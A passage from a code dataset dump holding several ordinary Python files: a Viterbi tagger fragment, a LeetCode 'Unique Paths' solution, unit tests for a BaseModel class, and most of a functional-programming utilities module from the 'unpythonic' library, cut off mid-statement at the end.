curr_trans_prob = v[i - 1][prev_tag]['p'] + transmission_probs[prev_tag].get(curr_tag,\r\n trans_unseen_prob[\r\n prev_tag])\r\n if curr_trans_prob > max_trans_prob:\r\n max_trans_prob = curr_trans_prob\r\n back_tag = prev_tag\r\n max_prob = max_trans_prob + emission_probs[curr_tag].get(trimmed_sentence[i],\r\n emission_unseen_prob[curr_tag] +\r\n hapax_probs.get(curr_tag,hapax_unseen))\r\n v[i][curr_tag] = {'p': max_prob, 'b': back_tag}\r\n\r\n best_path = [(sentence[-1], 'END')]\r\n\r\n max_prob = -99999\r\n last_tag = None\r\n for tag, pb_dict in v[-1].items():\r\n if pb_dict['p'] > max_prob:\r\n max_prob = pb_dict['p']\r\n last_tag = tag\r\n best_path.append((trimmed_sentence[-1], last_tag))\r\n for i in range(len(trimmed_sentence) - 2, -1, -1):\r\n best_path.append((trimmed_sentence[i], v[i + 1][last_tag]['b']))\r\n last_tag = v[i + 1][last_tag]['b']\r\n best_path.append((sentence[0], 'START'))\r\n tag_result.append(best_path[::-1])\r\n\r\n return tag_result","sub_path":"mp4/viterbi_2.py","file_name":"viterbi_2.py","file_ext":"py","file_size_in_byte":7361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"32250341","text":"\n\nclass Solution(object):\n def uniquePaths(self, m, n):\n if m < n:\n return self.uniquePaths(n, m) # NOTICE! can not use m,n=n,m\n ways = [1] * n # a short dp\n \n for i in range(1, m):\n for j in range(1, n): # put smaller one in inner loop\n ways[j] += ways[j - 1]\n \n return ways[n - 1]\n \n#class Solution(object):\n# def uniquePaths(self, m, n):\n# \"\"\"\n# :type m: int\n# :type n: int\n# :rtype: int\n# \"\"\"\n# dp=[[0]*n for _ in range(m)]\n# for i in range(m):\n# dp[i][0]=1\n# for j in range(n):\n# dp[0][j]=1\n# for i in range(1,m):\n# for j in range(1,n):\n# dp[i][j]=dp[i-1][j]+dp[i][j-1]\n# return dp[m-1][n-1]\n \n \n#import math\n#class Solution:\n# def uniquePaths(self, m, n):\n# \"\"\"\n# :type m: int\n# :type n: int\n# :rtype: int\n# \"\"\"\n# # Math\n# # to bottom m-1 choices, to right n-1 choices, to arrive 'Finish', choose m-1 or n-1 from m+n-2\n# return int(math.factorial(m+n-2)/(math.factorial(m-1)*math.factorial(n-1)))\n \n \nif __name__ == \"__main__\":\n print(Solution().uniquePaths(3,7))","sub_path":"62. Unique Paths.py","file_name":"62. Unique Paths.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"441795648","text":"#!/usr/bin/python3\n\"\"\" Import unittest and created a class for unit test \"\"\"\nimport os\nfrom datetime import datetime\nimport unittest\nfrom models.base_model import BaseModel\nimport models.base_model\n\n\nclass TestBaseDocumentation(unittest.TestCase):\n \"\"\" Create a tests for the base class in documentation\n and requirements \"\"\"\n def test_readme(self):\n \"\"\" Created a readme and that exists \"\"\"\n theReadme = os.getcwd()\n readmeOne = theReadme + '/README.md'\n readmeTwo = os.path.exists(readmeOne)\n self.assertTrue(readmeTwo, True)\n with open(readmeOne, mode='r') as _file:\n readShebang = _file.read()\n self.assertTrue(len(readShebang) != 0)\n\n def test_style_pep8_model(self):\n \"\"\" PEP8 python style \"\"\"\n style_model = os.system(\"pep8 models/base_model.py\")\n self.assertEqual(style_model, 0)\n\n def test_style_pep8(self):\n \"\"\" PEP8 python style \"\"\"\n style_test = os.system(\"pep8 tests/test_models/test_base_model.py\")\n self.assertEqual(style_test, 0)\n\n def test_shebang(self):\n \"\"\" Test shebang in the front line \"\"\"\n with open(\"models/base_model.py\", mode='r') as _file:\n readShebang = _file.read()\n lines = readShebang.splitlines()\n self.assertEqual(lines[0], '#!/usr/bin/python3')\n\n def test_shebang_test(self):\n \"\"\" Test shebang in the front line in test file \"\"\"\n with open(\"tests/test_models/test_base_model.py\", mode='r') as _file:\n readShebang = _file.read()\n lines = readShebang.splitlines()\n self.assertEqual(lines[0], '#!/usr/bin/python3')\n\n def test_module_doc(self):\n \"\"\" Module with sufficient documentation \"\"\"\n self.assertTrue(len(models.base_model.__doc__) != 0)\n\n def test_class_doc(self):\n \"\"\" Class with sufficient documentation \"\"\"\n self.assertTrue(len(BaseModel.__doc__) != 0)\n\n def test_methods_doc(self):\n \"\"\" Methods with sufficient documentation \"\"\"\n self.assertTrue(len(BaseModel.save.__doc__) != 0)\n self.assertTrue(len(BaseModel.to_dict.__doc__) != 0)\n\n\nclass TestBaseModel(unittest.TestCase):\n \"\"\" Create a tests for the base class BaseModel in edge cases \"\"\"\n def test_attribute_id(self):\n \"\"\" Check to the id number that is a public instance attributes \"\"\"\n object = BaseModel()\n object.dynamic = 'attr'\n inst = BaseModel()\n self.assertTrue(object.id != 0)\n self.assertTrue(type(object.id) is str)\n self.assertEqual(object.dynamic, 'attr')\n self.assertNotEqual(object.id, inst.id)\n\n def test_attribute_create_at(self):\n \"\"\" Check to the current datatime that is a public instance\n attributes \"\"\"\n object = BaseModel()\n inst = BaseModel()\n self.assertTrue(object.created_at != 0)\n self.assertIsInstance(object.created_at, datetime)\n self.assertNotEqual(object.created_at, inst.created_at)\n self.assertNotEqual(object.updated_at, inst.updated_at)\n self.assertNotEqual(object.created_at, inst.updated_at)\n self.assertNotEqual(inst.created_at, object.updated_at)\n\n def test_attribute_updated_at(self):\n \"\"\" Check to the current datatime and will be updated that is a public\n instance attributes \"\"\"\n object = BaseModel()\n self.assertTrue(object.updated_at != 0)\n self.assertIsInstance(object.updated_at, datetime)\n\n def test_save_method(self):\n \"\"\" Check instance of update_at that is datetime \"\"\"\n # object = BaseModel()\n # object.save()\n # self.assertIsInstance(object.updated_at, datetime)\n self.object = BaseModel()\n date_old = self.object.updated_at\n self.object.save()\n self.assertNotEqual(date_old, self.object.updated_at)\n date_old = self.object.updated_at\n self.object.save()\n self.assertNotEqual(date_old, self.object.updated_at)\n\n def test_save(self):\n \"\"\"Doc\n \"\"\"\n pass\n\n def test_to_dict(self):\n \"\"\" Check returns the dictionary representation \"\"\"\n object = BaseModel()\n object.my_number = 89\n object.name = \"Holberton\"\n obj = object.to_dict()\n self.assertIsInstance(obj, dict)\n self.assertTrue(len(obj) != 0)\n self.assertEqual(obj['updated_at'], object.to_dict()['updated_at'])\n\n def test_kwargs(self):\n \"\"\" Check that the instances created are not the same \"\"\"\n object = BaseModel()\n object.my_number = 35\n object.name = \"Betty\"\n obj = object.to_dict()\n new_obj = BaseModel(**obj)\n self.assertFalse(object is new_obj)\n self.assertIsInstance(new_obj.created_at, datetime)\n self.assertIsInstance(new_obj.updated_at, datetime)\n","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"491124012","text":"# -*- coding: utf-8 -*-\n\"\"\"Miscellaneous constructs.\"\"\"\n\n__all__ = [\"call\", \"callwith\", \"raisef\", \"tryf\", \"equip_with_traceback\",\n \"pack\", \"namelambda\", \"timer\",\n \"getattrrec\", \"setattrrec\",\n \"Popper\", \"CountingIterator\",\n \"ulp\",\n \"slurp\", \"async_raise\", \"callsite_filename\", \"safeissubclass\"]\n\nfrom types import LambdaType, FunctionType, CodeType, TracebackType\nfrom time import monotonic\nfrom copy import copy\nfrom functools import partial\nfrom sys import version_info, float_info\nfrom math import floor, log2\nfrom queue import Empty\nimport threading\nimport inspect\n\n# For async_raise only. Note `ctypes.pythonapi` is not an actual module;\n# you'll get a `ModuleNotFoundError` if you try to import it.\n#\n# TODO: The \"pycapi\" PyPI package would allow us to regularly import the C API,\n# but right now we don't want introduce dependencies, especially for a minor feature.\n# https://github.com/brandtbucher/pycapi\nimport sys\nif sys.implementation.name == \"cpython\":\n import ctypes\n PyThreadState_SetAsyncExc = ctypes.pythonapi.PyThreadState_SetAsyncExc\nelse: # pragma: no cover, coverage is measured on CPython.\n ctypes = None\n PyThreadState_SetAsyncExc = None\n\nfrom .regutil import register_decorator\nfrom .lazyutil import passthrough_lazy_args, maybe_force_args, force\nfrom .arity import arity_includes, UnknownArity\n\n# Only the single-argument form (just f) of the \"call\" decorator is supported by unpythonic.syntax.util.sort_lambda_decorators.\n#\n# This is as it should be; if given any arguments beside f, the call doesn't conform\n# to the decorator API, but is a normal function call. See \"callwith\" if you need to\n# pass arguments and then call f from a decorator position.\n@register_decorator(priority=80)\n@passthrough_lazy_args\ndef call(f, *args, **kwargs):\n \"\"\"Call the function f.\n\n **When used as a decorator**:\n\n Run the function immediately, then overwrite the definition by its\n return value.\n\n Useful for making lispy not-quite-functions where the def just delimits\n a block of code that runs immediately (think call-with-something in Lisps).\n\n The function will be called with no arguments. If you need to pass\n arguments when using ``call`` as a decorator, see ``callwith``.\n\n **When called normally**:\n\n ``call(f, *a, **kw)`` is the same as ``f(*a, **kw)``.\n\n *Why ever use call() normally?*\n\n - Readability and aesthetics in cases like ``makef(dostuffwith(args))()``,\n where ``makef`` is a function factory, and we want to immediately\n call its result.\n\n Rewriting this as ``call(makef(dostuffwith(args)))`` relocates the\n odd one out from the mass of parentheses at the end. (A real FP example\n would likely have more levels of nesting.)\n\n - Notational uniformity with ``curry(f, *args, **kwargs)`` for cases\n without currying. See ``unpythonic.fun.curry``.\n\n - For fans of S-expressions. Write Python almost like Lisp!\n\n Name inspired by \"call-with-something\", but since here we're calling\n without any specific thing, it's just \"call\".\n\n Examples::\n\n @call\n def result(): # this block of code runs immediately\n return \"hello\"\n print(result) # \"hello\"\n\n # if the return value is of no interest:\n @call\n def _():\n ... # code with cheeky side effects goes here\n\n @call\n def x():\n a = 2 # many temporaries that help readability...\n b = 3 # ...of this calculation, but would just pollute locals...\n c = 5 # ...after the block exits\n return a * b * c\n\n @call\n def _():\n for x in range(10):\n for y in range(10):\n if x * y == 42:\n return # \"multi-break\" out of both loops!\n ...\n\n Note that in the multi-break case, ``x`` and ``y`` are no longer in scope\n outside the block, since the block is a function.\n \"\"\"\n# return f(*args, **kwargs)\n return maybe_force_args(force(f), *args, **kwargs) # support unpythonic.syntax.lazify\n\n@register_decorator(priority=80)\n@passthrough_lazy_args\ndef callwith(*args, **kwargs):\n \"\"\"Freeze arguments, choose function later.\n\n **Used as decorator**, this is like ``@call``, but with arguments::\n\n @callwith(3)\n def result(x):\n return x**2\n assert result == 9\n\n **Called normally**, this creates a function to apply the given arguments\n to a callable to be specified later::\n\n def myadd(a, b):\n return a + b\n def mymul(a, b):\n return a * b\n apply23 = callwith(2, 3)\n assert apply23(myadd) == 5\n assert apply23(mymul) == 6\n\n When called normally, the two-step application is mandatory. The first step\n stores the given arguments. It returns a function ``f(callable)``. When\n ``f`` is called, it calls its ``callable`` argument, passing in the arguments\n stored in the first step.\n\n In other words, ``callwith`` is similar to ``functools.partial``, but without\n specializing to any particular function. The function to be called is\n given later, in the second step.\n\n Hence, ``callwith(2, 3)(myadd)`` means \"make a function that passes in\n two positional arguments, with values ``2`` and ``3``. Then call this\n function for the callable ``myadd``\".\n\n But if we instead write``callwith(2, 3, myadd)``, it means \"make a function\n that passes in three positional arguments, with values ``2``, ``3`` and\n ``myadd`` - not what we want in the above example.\n\n Curry obviously does not help; it will happily pass in all arguments\n in one go. If you want to specialize some arguments now and some later,\n use ``partial``::\n\n from functools import partial\n\n p1 = partial(callwith, 2)\n p2 = partial(p1, 3)\n p3 = partial(p2, 4)\n apply234 = p3() # actually call callwith, get the function\n def add3(a, b, c):\n return a + b + c\n def mul3(a, b, c):\n return a * b * c\n assert apply234(add3) == 9\n assert apply234(mul3) == 24\n\n If the code above feels weird, it should. Arguments are gathered first,\n and the function to which they will be passed is chosen in the last step.\n\n A pythonic alternative to the above examples is::\n\n a = [2, 3]\n def myadd(a, b):\n return a + b\n def mymul(a, b):\n return a * b\n assert myadd(*a) == 5\n assert mymul(*a) == 6\n\n a = [2]\n a += [3]\n a += [4]\n def add3(a, b, c):\n return a + b + c\n def mul3(a, b, c):\n return a * b * c\n assert add3(*a) == 9\n assert mul3(*a) == 24\n\n Another use case of ``callwith`` is ``map``, if we want to vary the function\n instead of the data::\n\n m = map(callwith(3), [lambda x: 2*x, lambda x: x**2, lambda x: x**(1/2)])\n assert tuple(m) == (6, 9, 3**(1/2))\n\n The pythonic alternative here is to use the comprehension notation,\n which can already do this::\n\n m = (f(3) for f in [lambda x: 2*x, lambda x: x**2, lambda x: x**(1/2)])\n assert tuple(m) == (6, 9, 3**(1/2))\n\n Inspiration:\n\n *Function application with $* in\n http://learnyouahaskell.com/higher-order-functions\n \"\"\"\n def applyfrozenargsto(f):\n return maybe_force_args(force(f), *args, **kwargs)\n return applyfrozenargsto\n\ndef raisef(exc, *args, cause=None, **kwargs):\n \"\"\"``raise`` as a function, to make it possible for lambdas to raise exceptions.\n\n Example::\n\n raisef(ValueError(\"message\"))\n\n is (almost) equivalent to::\n\n raise ValueError(\"message\")\n\n Parameters:\n exc: exception instance, or exception class\n The object to raise. This is whatever you would give as the argument to `raise`.\n Both instances (e.g. `ValueError(\"oof\")`) and classes (e.g. `StopIteration`)\n can be used as `exc`.\n\n cause: exception instance, or `None`\n If `exc` was triggered as a direct consequence of another exception,\n and you would like to `raise ... from ...`, pass that other exception\n instance as `cause`. The default `None` performs a plain `raise ...`.\n\n *Changed in v0.14.2.* The parameters have changed to match `raise` itself as closely\n as possible. Old-style parameters are still supported, but are now deprecated. Support\n for them will be dropped in v0.15.0. The old-style parameters are:\n\n exc: type\n The object type to raise as an exception.\n\n *args: anything\n Passed on to the constructor of exc.\n\n **kwargs: anything\n Passed on to the constructor of exc.\n \"\"\"\n if args or kwargs: # old-style parameters\n raise exc(*args, **kwargs)\n\n if cause:\n raise exc from cause\n else:\n raise exc\n\ndef tryf(body, *handlers, elsef=None, finallyf=None):\n \"\"\"``try``/``except``/``finally`` as a function.\n\n This allows lambdas to handle exceptions.\n\n ``body`` is a thunk (0-argument function) that represents\n the body of the ``try`` block.\n\n ``handlers`` is ``(excspec, handler), ...``, where\n ``excspec`` is either an exception type,\n or a tuple of exception types.\n ``handler`` is a 0-argument or 1-argument\n function. If it takes an\n argument, it gets the exception\n instance.\n\n Handlers are tried in the order specified.\n\n ``elsef`` is a thunk that represents the ``else`` block.\n\n ``finallyf`` is a thunk that represents the ``finally`` block.\n\n Upon normal completion, the return value of ``tryf`` is\n the return value of ``elsef`` if that was specified, otherwise\n the return value of ``body``.\n\n If an exception was caught by one of the handlers, the return\n value of ``tryf`` is the return value of the exception handler\n that ran.\n\n If you need to share variables between ``body`` and ``finallyf``\n (which is likely, given what a ``finally`` block is intended\n to do), consider wrapping the ``tryf`` in a ``let`` and storing\n your variables there. If you want them to leak out of the ``tryf``,\n you can also just create an ``env`` at an appropriate point,\n and store them there.\n \"\"\"\n def accepts_arg(f):\n try:\n if arity_includes(f, 1):\n return True\n except UnknownArity: # pragma: no cover\n return True # just assume it\n return False\n\n def isexceptiontype(exc):\n try:\n if issubclass(exc, BaseException):\n return True\n except TypeError: # \"issubclass() arg 1 must be a class\"\n pass\n return False\n\n # validate handlers\n for excspec, handler in handlers:\n if isinstance(excspec, tuple): # tuple of exception types\n if not all(isexceptiontype(t) for t in excspec):\n raise TypeError(\"All elements of a tuple excspec must be exception types, got {}\".format(excspec))\n elif not isexceptiontype(excspec): # single exception type\n raise TypeError(\"excspec must be an exception type or tuple of exception types, got {}\".format(excspec))\n\n # run\n try:\n ret = body()\n except BaseException as exception:\n # Even if a class is raised, as in `raise StopIteration`, the `raise` statement\n # converts it into an instance by instantiating with no args. So we need no\n # special handling for the \"class raised\" case.\n # https://docs.python.org/3/reference/simple_stmts.html#the-raise-statement\n # https://stackoverflow.com/questions/19768515/is-there-a-difference-between-raising-exception-class-and-exception-instance/19768732\n exctype = type(exception)\n for excspec, handler in handlers:\n if isinstance(excspec, tuple): # tuple of exception types\n # this is safe, exctype is always a class at this point.\n if any(issubclass(exctype, t) for t in excspec):\n if accepts_arg(handler):\n return handler(exception)\n else:\n return handler()\n else: # single exception type\n if issubclass(exctype, excspec):\n if accepts_arg(handler):\n return handler(exception)\n else:\n return handler()\n else:\n if elsef is not None:\n return elsef()\n return ret\n finally:\n if finallyf is not None:\n finallyf()\n\ndef equip_with_traceback(exc, depth=0): # Python 3.7+\n \"\"\"Given an exception instance exc, equip it with a traceback.\n\n `depth` is the starting depth for `sys._getframe`.\n\n The return value is `exc`, with its traceback set to the produced\n traceback.\n\n Python 3.7 and later only.\n\n When not supported, raises `NotImplementedError`.\n\n This is useful in some special cases only, mainly when `raise` cannot be\n used for some reason, and a manually created exception instance needs a\n traceback. (E.g. in implementing the system for conditions and restarts.)\n\n The `sys._getframe` function exists in CPython and in PyPy3,\n but for another arbitrary Python implementation this is not\n guaranteed.\n\n Based on solution by StackOverflow user Zbyl:\n https://stackoverflow.com/a/54653137\n\n See also:\n https://docs.python.org/3/library/types.html#types.TracebackType\n https://docs.python.org/3/reference/datamodel.html#traceback-objects\n https://docs.python.org/3/library/sys.html#sys._getframe\n \"\"\"\n if not isinstance(exc, BaseException):\n raise TypeError(\"exc must be an exception instance; got {} with value '{}'\".format(type(exc), exc))\n\n try:\n getframe = sys._getframe\n except AttributeError as err: # pragma: no cover, both CPython and PyPy3 have sys._getframe.\n raise NotImplementedError(\"Need a Python interpreter which has `sys._getframe`\") from err\n\n tb = None\n while True:\n # Starting from given depth, get all frames up to the root of the call stack.\n try:\n frame = getframe(depth)\n depth += 1\n except ValueError:\n break\n # Python 3.7+ allows creating types.TracebackType objects from Python code.\n try:\n tb = TracebackType(tb, frame, frame.f_lasti, frame.f_lineno)\n except TypeError as err: # Python 3.6 or earlier\n raise NotImplementedError(\"Need Python 3.7 or later to create traceback objects\") from err\n return exc.with_traceback(tb) # Python 3.7+\n\ndef pack(*args):\n \"\"\"Multi-argument constructor for tuples.\n\n In other words, the inverse of tuple unpacking, as a function.\n E.g. ``pack(a, b, c)`` is the same as ``(a, b, c)``.\n\n Or, if we semantically consider a tuple as a representation for multiple\n return values, this is the identity function, returning its args.\n\n We provide this because the default constructor `tuple(...)` requires an\n iterable, and there are use cases (especially in Python 3.4, before PEP 448)\n where it is useful to be able to say *pack these args into a tuple*.\n\n See:\n https://www.python.org/dev/peps/pep-0448/\n\n Examples. If args naturally arrive separately::\n\n myzip = lambda lol: map(pack, *lol)\n lol = ((1, 2), (3, 4), (5, 6))\n for z in myzip(lol):\n print(z)\n\n Eliminate an ugly trailing comma::\n\n @looped_over(zip((1, 2, 3), ('a', 'b', 'c')), acc=())\n def p(loop, item, acc):\n numb, lett = item\n return loop(acc + pack(\"{:d}{:s}\".format(numb, lett)))\n assert p == ('1a', '2b', '3c')\n \"\"\"\n return args # pretty much like in Lisps, (define (list . args) args)\n\n@register_decorator(priority=5) # allow sorting by unpythonic.syntax.sort_lambda_decorators\ndef namelambda(name):\n \"\"\"Rename a function. Decorator.\n\n This can be used to give a lambda a meaningful name, which is especially\n useful for debugging in cases where a lambda is returned as a closure,\n and the actual call into it occurs much later (so that if the call crashes,\n the stack trace will report a meaningful name, not just ``\"\"``).\n\n To support reordering by ``unpythonic.syntax.util.sort_lambda_decorators``,\n this is a standard parametric decorator, called like::\n\n foo = namelambda(\"foo\")(lambda ...: ...)\n\n The first call returns a *foo-renamer*, and supplying the lambda to that\n actually returns a lambda that has the name *foo*.\n\n This is used internally by some macros (``namedlambda``, ``let``, ``do``),\n but also provided as part of unpythonic's public API in case it's useful\n elsewhere.\n\n **CAUTION**: When a function definition is executed, the names the parent\n scopes had at that time are baked into the function's ``__qualname__``.\n Hence renaming a function after it is defined will not affect the\n dotted names of any closures defined *inside* that function.\n\n This is mainly an issue for nested lambdas::\n\n from unpythonic import namelambda, withself\n nested = namelambda(\"outer\")(lambda: namelambda(\"inner\")(withself(lambda self: self)))\n print(nested.__qualname__) # \"outer\"\n print(nested().__qualname__) # \"..inner\"\n\n Note the inner lambda does not see the outer's new name.\n \"\"\"\n def rename(f):\n if not isinstance(f, (LambdaType, FunctionType)):\n # TODO: Can't raise TypeError; @fploop et al. do-it-now-and-replace-def-with-result\n # TODO: decorators need to do this.\n return f\n f = copy(f)\n # __name__ for tools like pydoc; __qualname__ for repr(); __code__.co_name for stack traces\n # https://stackoverflow.com/questions/40661758/name-of-a-python-function-in-a-stack-trace\n # https://stackoverflow.com/questions/16064409/how-to-create-a-code-object-in-python\n f.__name__ = name\n j = f.__qualname__.rfind('.')\n f.__qualname__ = \"{}.{}\".format(f.__qualname__[:j], name) if j != -1 else name\n # __code__.co_name is read-only, but there's a types.CodeType constructor\n # that we can use to re-create the code object with the new name.\n # (This is no worse than what the stdlib's Lib/modulefinder.py already does.)\n co = f.__code__\n # https://github.com/ipython/ipython/blob/master/IPython/core/interactiveshell.py\n # https://www.python.org/dev/peps/pep-0570/\n if version_info > (3, 8, 0, 'alpha', 3): # Python 3.8+\n f.__code__ = CodeType(co.co_argcount, co.co_posonlyargcount, co.co_kwonlyargcount,\n co.co_nlocals, co.co_stacksize, co.co_flags,\n co.co_code, co.co_consts, co.co_names,\n co.co_varnames, co.co_filename,\n name,\n co.co_firstlineno, co.co_lnotab, co.co_freevars,\n co.co_cellvars)\n else:\n f.__code__ = CodeType(co.co_argcount, co.co_kwonlyargcount,\n co.co_nlocals, co.co_stacksize, co.co_flags,\n co.co_code, co.co_consts, co.co_names,\n co.co_varnames, co.co_filename,\n name,\n co.co_firstlineno, co.co_lnotab, co.co_freevars,\n co.co_cellvars)\n return f\n return rename\n\nclass timer:\n \"\"\"Simplistic context manager for performance-testing sections of code.\n\n Example::\n\n with timer() as tictoc:\n for _ in range(int(1e7)):\n pass\n print(tictoc.dt) # elapsed time in seconds (float)\n\n If only interested in printing the result::\n\n with timer(p=True):\n for _ in range(int(1e7)):\n pass\n \"\"\"\n def __init__(self, p=False):\n \"\"\"p: if True, print the delta-t when done.\n\n Regardless of ``p``, the result is always accessible as the ``dt``.\n \"\"\"\n self.p = p\n def __enter__(self):\n self.t0 = monotonic()\n return self\n def __exit__(self, exctype, excvalue, traceback):\n self.dt = monotonic() - self.t0\n if self.p:\n print(self.dt)\n\ndef getattrrec(object, name, *default):\n \"\"\"Extract the underlying data from an onion of wrapper objects.\n\n ``r = object.name``, and then get ``r.name`` recursively, as long as\n it exists. Return the final result.\n\n The ``default`` parameter acts as in ``getattr``.\n\n See also ``setattrrec``.\n \"\"\"\n o = getattr(object, name, *default)\n while hasattr(o, name):\n o = getattr(o, name, *default)\n return o\n\ndef setattrrec(object, name, value):\n \"\"\"Inject data into the innermost layer in an onion of wrapper objects.\n\n See also ``getattrrec``.\n \"\"\"\n o = object\n while hasattr(o, name) and hasattr(getattr(o, name), name):\n o = getattr(o, name)\n setattr(o, name, value)\n\nclass Popper:\n \"\"\"Pop-while iterator.\n\n Consider this code::\n\n from collections import deque\n inp = deque(range(5))\n out = []\n while inp:\n x = inp.pop(0)\n out.append(x)\n assert inp == []\n assert out == list(range(5))\n\n ``Popper`` condenses the ``while`` and ``pop`` into a ``for``, while allowing\n the loop body to mutate the input iterable in arbitrary ways (since we never\n actually ``iter()`` it)::\n\n inp = deque(range(5))\n out = []\n for x in Popper(inp):\n out.append(x)\n assert inp == deque([])\n assert out == list(range(5))\n\n inp = deque(range(3))\n out = []\n for x in Popper(inp):\n out.append(x)\n if x < 10:\n inp.appendleft(x + 10)\n assert inp == deque([])\n assert out == [0, 10, 1, 11, 2, 12]\n\n (A real use case: split sequences of items, stored as lists in a deque, into\n shorter sequences where some condition is contiguously ``True`` or ``False``.\n When the condition changes state, just commit the current subsequence, and\n push the rest of that input sequence (still requiring analysis) back to the\n input deque, to be dealt with later.)\n\n **Notes**:\n\n - The argument to ``Popper`` (here ``lst``) contains the **remaining**\n items.\n - Each iteration pops an element **from the left**.\n - The loop terminates when ``lst`` is empty.\n - Per-iteration efficiency, if the input container is:\n\n - ``collections.deque``: ``O(1)``\n - ``list``: ``O(n)``\n\n Named after Karl Popper.\n \"\"\"\n def __init__(self, seq):\n \"\"\"seq: input container. Must support either ``popleft()`` or ``pop(0)``.\n\n Fully duck-typed. At least ``collections.deque`` and any\n ``collections.abc.MutableSequence`` (including ``list``) are fine.\n \"\"\"\n self.seq = seq\n self._pop = seq.popleft if hasattr(seq, \"popleft\") else partial(seq.pop, 0)\n def __iter__(self):\n return self\n def __next__(self):\n if self.seq:\n return self._pop()\n raise StopIteration\n\nclass CountingIterator:\n \"\"\"Iterator that counts how many elements it has yielded.\n\n The count stops updating when the original iterable raises StopIteration.\n \"\"\"\n def __init__(self, iterable):\n self._it = iter(iterable)\n self.count = 0\n def __iter__(self):\n return self\n def __next__(self):\n x = next(self._it) # let StopIteration propagate\n self.count += 1\n return x\n\ndef ulp(x): # Unit in the Last Place\n \"\"\"Given a float x, return the unit in the last place (ULP).\n\n This is the numerical value of the least-significant bit, as a float.\n For x = 1.0, the ULP is the machine epsilon (by definition of machine epsilon).\n\n See:\n https://en.wikipedia.org/wiki/Unit_in_the_last_place\n \"\"\"\n eps = float_info.epsilon\n # m_min = abs. value represented by a mantissa of 1.0, with the same exponent as x has\n m_min = 2**floor(log2(abs(x)))\n return m_min * eps\n\ndef slurp(queue):\n \"\"\"Slurp all items currently on a queue.Queue into a list.\n\n This retrieves items from the queue until it is empty, populates a list with them\n (preserving the original order), and returns that list.\n\n **CAUTION**: This does **not** prevent new items being added to the queue\n afterwards, or indeed by another thread while the slurping is in progress.\n\n This is purely a convenience function to abstract away a common operation.\n \"\"\"\n out = []\n try:\n while True:\n out.append(queue.get(block=False))\n except Empty:\n pass\n return out\n\n\n# TODO: To reduce the risk of spaghetti user code, we could require a non-main thread's entrypoint to declare\n# via a decorator that it's willing to accept asynchronous exceptions, and check that mark here, making this\n# mechanism strictly opt-in. The decorator could inject an `asyncexc_ok` attribute to the Thread object;\n# that's enough to prevent accidental misuse.\n# OTOH, having no such mechanism is the simpler design.\ndef async_raise(thread_obj, exception):\n \"\"\"Raise an exception inside an arbitrary active `threading.Thread`.\n\n thread_obj: `threading.Thread` object\n The target thread to inject the exception into.\n exception: ``Exception``\n The exception to be raised. As with regular `raise`, this may be\n an exception instance or an exception class object.\n\n No return value. Normal return indicates success.\n\n If the specified `threading.Thread` is not active, or the thread's ident\n was not accepted by the interpreter, raises `ValueError`.\n\n If the raise operation failed internally, raises `SystemError`.\n\n If not supported for the Python implementation we're currently running on,\n raises `NotImplementedError`.\n\n **NOTE**: This currently works only in CPython, because there is no Python-level\n API to achieve what this function needs to do, and PyPy3's C API emulation layer\n `cpyext` doesn't currently (January 2020) implement the function required to do\n this (and the C API functions in `cpyext` are not exposed to the Python level\n anyway, unlike CPython's `ctypes.pythonapi`).\n\n **CAUTION**: This is **potentially dangerous**. If the async raise\n operation fails, the interpreter is left in an inconsistent state.\n\n **NOTE**: The term `async` here has nothing to do with `async`/`await`;\n instead, it refers to an asynchronous exception such as `KeyboardInterrupt`.\n https://en.wikipedia.org/wiki/Exception_handling#Exception_synchronicity\n\n In a nutshell, a *synchronous* exception (i.e. the usual kind of exception)\n has an explicit `raise` somewhere in the code that the thread that\n encountered the exception is running. In contrast, an *asynchronous*\n exception **doesn't**, it just suddenly magically materializes from the outside.\n As such, it can in principle happen *anywhere*, with absolutely no hint about\n it in any obvious place in the code.\n\n **Hence, use this function very, very sparingly, if at all.**\n\n For example, `unpythonic` only uses this to support remotely injecting a\n `KeyboardInterrupt` into a REPL session running in another thread. So this\n may be interesting mainly if you're developing your own REPL server/client\n pair.\n\n (Incidentally, that's **not** how `KeyboardInterrupt` usually works.\n Rather, the OS sends a SIGINT, which is then trapped by an OS signal\n handler that runs in the main thread. At that point the magic has already\n happened: the control of the main thread is now inside the signal handler,\n as if the signal handler was called from the otherwise currently innermost\n point on the call stack. All the handler needs to do is to perform a regular\n `raise`, and the exception will propagate correctly.\n\n REPL sessions running in other threads can't use this mechanism, because\n in CPython, OS signal handlers only run in the main thread, and even in\n PyPy3, there is no guarantee *which* thread gets the signal even if you use\n `with __pypy__.thread.signals_enabled` to enable OS signal trapping in some\n of your other threads. Only one thread (including the main thread, plus any\n currently dynamically within a `signals_enabled`) will see the signal;\n which one, is essentially random and not even reproducible.)\n\n See also:\n https://vorpus.org/blog/control-c-handling-in-python-and-trio/\n\n The function necessary to perform this magic is actually mentioned right\n there in the official CPython C API docs, but it's not very well known:\n https://docs.python.org/3/c-api/init.html#c.PyThreadState_SetAsyncExc\n\n Original detective work by Federico Ficarelli and LIU Wei:\n https://gist.github.com/nazavode/84d1371e023bccd2301e\n https://gist.github.com/liuw/2407154\n \"\"\"\n if not ctypes or not PyThreadState_SetAsyncExc:\n raise NotImplementedError(\"async_raise not supported on this Python interpreter.\") # pragma: no cover\n\n if not hasattr(thread_obj, \"ident\"):\n raise TypeError(\"Expected a thread object, got {} with value '{}'\".format(type(thread_obj), thread_obj))\n\n target_tid = thread_obj.ident\n if target_tid not in {thread.ident for thread in threading.enumerate()}:\n raise ValueError(\"Invalid thread object, cannot find its ident among currently active threads.\")\n\n affected_count = PyThreadState_SetAsyncExc(ctypes.c_long(target_tid), ctypes.py_object(exception))\n if affected_count == 0:\n raise ValueError(\"PyThreadState_SetAsyncExc did not accept the thread ident, even though it was among the currently active threads.\") # pragma: no cover\n\n # TODO: check CPython source code if this case can actually ever happen.\n #\n # The API docs seem to hint that 0 or 1 are the only possible return values.\n # If so, we can remove this `SystemError` case and the \"potentially dangerous\" caution.\n elif affected_count > 1: # pragma: no cover\n # Clear the async exception, targeting the same thread identity, and hope for the best.\n PyThreadState_SetAsyncExc(ctypes.c_long(target_tid), ctypes.c_long(0))\n raise 